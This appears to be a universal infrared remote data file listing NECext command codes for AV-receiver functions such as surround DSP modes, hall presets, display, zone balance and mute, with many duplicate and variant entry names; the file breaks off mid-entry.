-name: 2CH_DECODE_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: DSP:_S_PLIIX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: SUR_DEC_PLIIX_GAM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: DSP:_PLIIX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: DCODE_PLIIX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: PROLOGIC_IIX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: DSP:_PLII_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: DSP_PLIIX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: DECOD:_PLIIX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: SUR_PLIIX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: SUR_PLIIX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: DSP:_THX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C8 00 00 00 -# -name: DECOD:_THX_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C8 00 00 00 -# -name: 2CH_DECODE_PROLOGI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: DSP:_S_PRO_LOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: SUR_DEC_PRO_LOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: DSP:_PRO_LOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: DCODE_PROLOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: PROLOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: DSP:_PROLOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: DSP_PRO_LOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: SUR_PRO_LOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: SUR_PRO_LOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C9 00 00 00 -# -name: DCODE_CSII_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CA 00 00 00 -# -name: DSP_CSII_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CA 00 00 00 -# -name: DECOD:_CSII_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CA 00 00 00 -# -name: SUR_CSII_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CA 00 00 00 -# -name: SUR_CSII_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CA 00 00 00 -# -name: DCODE_CSII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CB 00 00 00 -# -name: DSP_CSII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CB 00 00 00 -# -name: DECOD:_CSII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CB 00 00 00 -# -name: SUR_CSII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CB 00 00 00 -# -name: SUR_CSII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CB 00 00 00 -# -name: 2CH_DECODER_NEURA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: DSP_NEURAL_SUR. -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: SUR_DEC_NEURALTHX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: DSP:_NEURAL_SUR. -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: DCODE_NEURAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: DSP:_NEURAL_SURR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: DECOD:_NEURAL_THX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: SUR_NEURAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: SUR_NEURAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: PRGRM_CELLAR_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CD 00 00 00 -# -name: DSP_CELLAR_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CD 00 00 00 -# -name: DSP:_CELLAR_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CD 00 00 00 -# -name: DSP_L/C_CELLAR_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CD 00 00 00 -# -name: DSP:_CELLAR_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CD 00 00 00 -# -name: PRGRM_RPGAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP_RPG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP:_ROLEPLAY_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP:_ROLEPLAY_GAM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP_ENT_ROLE_PLAY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP:_ROLEPLAYING_GAM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP:_ROLE_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP_ROLLPLAYING_GA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP:_ROLEPLAY/GAM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP:_ROLEPLAYING -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: DSP:_ROLEPLAYING -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CE 00 00 00 -# -name: PRGRM_NIGHT_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CF 00 00 00 -# -name: DSP:_NIGHT_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CF 00 00 00 -# -name: DSP:_NIGHT_MODE_MUS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CF 00 00 00 -# -name: NIGHT:_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CF 00 00 00 -# -name: DISP_XM/IPOD/FM_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D0 00 00 00 -# -name: MAIN_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D0 00 00 00 -# -name: MZ:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D0 00 00 00 -# -name: SOURCE:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D0 00 00 00 -# -name: DISPLAY:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D0 00 00 00 -# -name: SOURCE_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D0 00 00 00 -# -name: DISP_XM/IPOD/FM_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: MAIN_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: MAIN_DISP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: MZ:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: MZ:_MAIN_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: SOURCE:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: DISPLAY:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: SOURCE_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D1 00 00 00 -# -name: Z2_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D2 00 00 00 -# -name: MAIN_DISP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D2 00 00 00 -# -name: Z2:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D2 00 00 00 -# -name: SOURCE:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D2 00 00 00 -# -name: Z2_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D3 00 00 00 -# -name: Z2:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D3 00 00 00 -# -name: Z2_DISP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D3 00 00 00 -# -name: Z2:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D3 00 00 00 -# -name: SOURCE:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D3 00 00 00 -# -name: Z2_BALANCE_L -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D4 00 00 00 -# -name: Z2:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D4 00 00 00 -# -name: Z2_DISP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D4 00 00 00 -# -name: Z2:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D4 00 00 00 -# -name: TONE_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D4 00 00 00 -# -name: Z2:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D4 00 00 00 -# -name: Z2_BALANCE_R -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D5 00 00 00 -# -name: Z3:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D5 00 00 00 -# -name: Z2:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D5 00 00 00 -# -name: TONE_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D5 00 00 00 -# -name: Z2:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D5 00 00 00 -# -name: Z3_BALANCE_L -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D6 00 00 00 -# -name: Z3:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D6 00 00 00 -# -name: Z3:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D6 00 00 00 -# -name: TONE_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D6 00 00 00 -# -name: Z3:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D6 00 00 00 -# -name: Z3_BALANCE_R -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D7 00 00 00 -# -name: Z3:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D7 00 00 00 -# -name: TONE_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D7 00 00 00 -# -name: Z3:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D7 00 00 00 -# -name: PRGRM_ENHANCER2CH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP_ENHANCER_STRAI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: ENHANCER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP:_ENHANCER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP_ENHANCER_2CH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: 2_CH_ENHANCER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP:_ENHANCER2CH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP_2CH_ENH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP:_ENHA_STRAIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP:_2CH_ENHANCER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP:_2CH_ENHANCER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: PRGRM_ENHANCER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D9 00 00 00 -# -name: ENHANCER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D9 00 00 00 -# -name: DSP:_ENHANCER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D9 00 00 00 -# -name: AUDIO_SELECT_HDMI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DA 00 00 00 -# -name: MZ:_AUDIO_HDMI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DA 00 00 00 -# -name: AUDIO_SEL:_HDMI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DA 00 00 00 -# -name: INP-A_HDMI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DA 00 00 00 -# -name: AUDIO_SELECT:_HDMI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DA 00 00 00 -# -name: MZ:_AUD_SEL_HDMI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DA 00 00 00 -# -name: MZ:_DECODER_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DB 00 00 00 -# -name: DECODER_MODE_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DB 00 00 00 -# -name: DECODER_MODE:_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DB 00 00 00 -# -name: EX/ES_EX_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: DSP:_DOLBY_EX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: EXTD_SUR_DOLBY_EX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: EXT_SUR:_DOLBY_EX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: DSP:_EX_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: DSP:_EX_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: EX/ES_EX_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: DECOD:_E_EX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: DSP:_EX_ES_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DC 00 00 00 -# -name: EX/ES_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: DSP:_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: EXTD_SUR_PLIIX_MOV -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: EXT_SUR:_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: DSP_EX_PLIIX_MOVI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: DSP:_PLII_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: DSP:_PLIIX_MOVIE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: EX/ES_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: DECOD:_E_PLIIX_MOV -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: EXT_SUR_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: EXT_SUR_PLIIX_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DD 00 00 00 -# -name: EX/ES_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: DSP:_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: EXTD_SUR_PLIIX_MUS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: EXT_SUR:_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: DSP_EX_PLIIZ_MUSI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: DSP:_PLII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: DSP:_PLIIX_MUSIC_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: EX/ES_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: DECOD:_E_PLIIX_MUS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: EXT_SUR_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: EXT_SUR_PLIIX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DE 00 00 00 -# -name: MZ:_MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: MZ_MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: MZ:_MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: MUTE_ON_(-20DB) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: MAIN:_MUTE_ON(-20DB) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: MUTE:_-20_DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: AUDIO_MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: VOL_MUTE_ON_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: MZ:_MUTE_ON_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: PRGRM_STRAIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: EFFECT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: DSP_EFFECT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: DSP:_EFFECT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: DSP:_STRAIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: DSP_STRAIGHT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: DSP_STRAIGHT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: DSP:_STRAIGHT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: PGM_STEREO(EFF._OFF) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: DSP:_STRAIGHT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E0 00 00 00 -# -name: PRGRM_HALL_MUNICH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: HALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: HALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP:_HALL_IN_MUNICH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP_HALL_IN_MUNCH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP_HALL1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP:_MUNICH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: HALL_EUROPE_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP_HALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP_CLASS_MUNICH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP:_HALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP_HALL_IN_MUNICH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP:_HALL_MUNICH_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: PGM_HALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP:_HALL_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP:_HALL_MUNICH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP:_HALL_MUNICH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: HALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E2 00 00 00 -# -name: HALL_EUROPE_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E2 00 00 00 -# -name: DSP_HALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E2 00 00 00 -# -name: DSP:_HALL_MUNICH_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E2 00 00 00 -# -name: PGM_HALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E2 00 00 00 -# -name: DSP:_HALL_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E2 00 00 00 -# -name: HALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E3 00 00 00 -# -name: HALL_USA_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E3 00 00 00 -# -name: DSP_HALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E3 00 00 00 -# -name: DSP:_HALL_FRANKFURT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E3 00 00 00 -# -name: PGM_HALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E3 00 00 00 -# -name: DSP:_HALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E3 00 00 00 -# -name: HALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E4 00 00 00 -# -name: HALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E4 00 00 00 -# -name: HALL_LIVE_CONCERT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E4 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E4 00 00 00 -# -name: DSP:_HALL_STUTTGART -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E4 00 00 00 -# -name: PGM_HALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E4 00 00 00 -# -name: DSP:_HALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E4 00 00 00 -# -name: PRGRM_VIENNA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: HALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP:_HALL_IN_VIENNA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP:_CONCERT_HALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP:_VIENNA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP_HALL_IN_VIENNA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: CHURCH_FREIBURG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP_CLASS_VIENNA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP:_HALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP:_HALL_VIENNA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: PGM_HALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP:_HALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP:_HALL_VIENNE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: DSP:_HALL_VIENNE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E5 00 00 00 -# -name: HALL_LIVE_CONCERT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP_HALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP_AMSTERDAM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP_HALL2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP:_AMSTERDAM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: CHURCH_ROYAUMONT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP_LIVE_CONCERT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP_CLASS_AMSTERD -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP:_CONCERT_HALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP:_HALL_AMSTERDA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: PGM_LIVE_CONCERT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP:_LIVE_CONCERT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: DSP:_HALL_AMSTERDA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E6 00 00 00 -# -name: CHURCH_TOKYO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E7 00 00 00 -# -name: JAZZ_CLUB_VILL._GATE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E7 00 00 00 -# -name: DSP:_CHURCH_TOKYO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E7 00 00 00 -# -name: PGM_TOKYO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E7 00 00 00 -# -name: DSP:_TOKYO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E7 00 00 00 -# -name: CHURCH_FREIBURG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: DSP_CHURCH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E8 00 00 00 -# -name: DSP:_CHURCH -type: 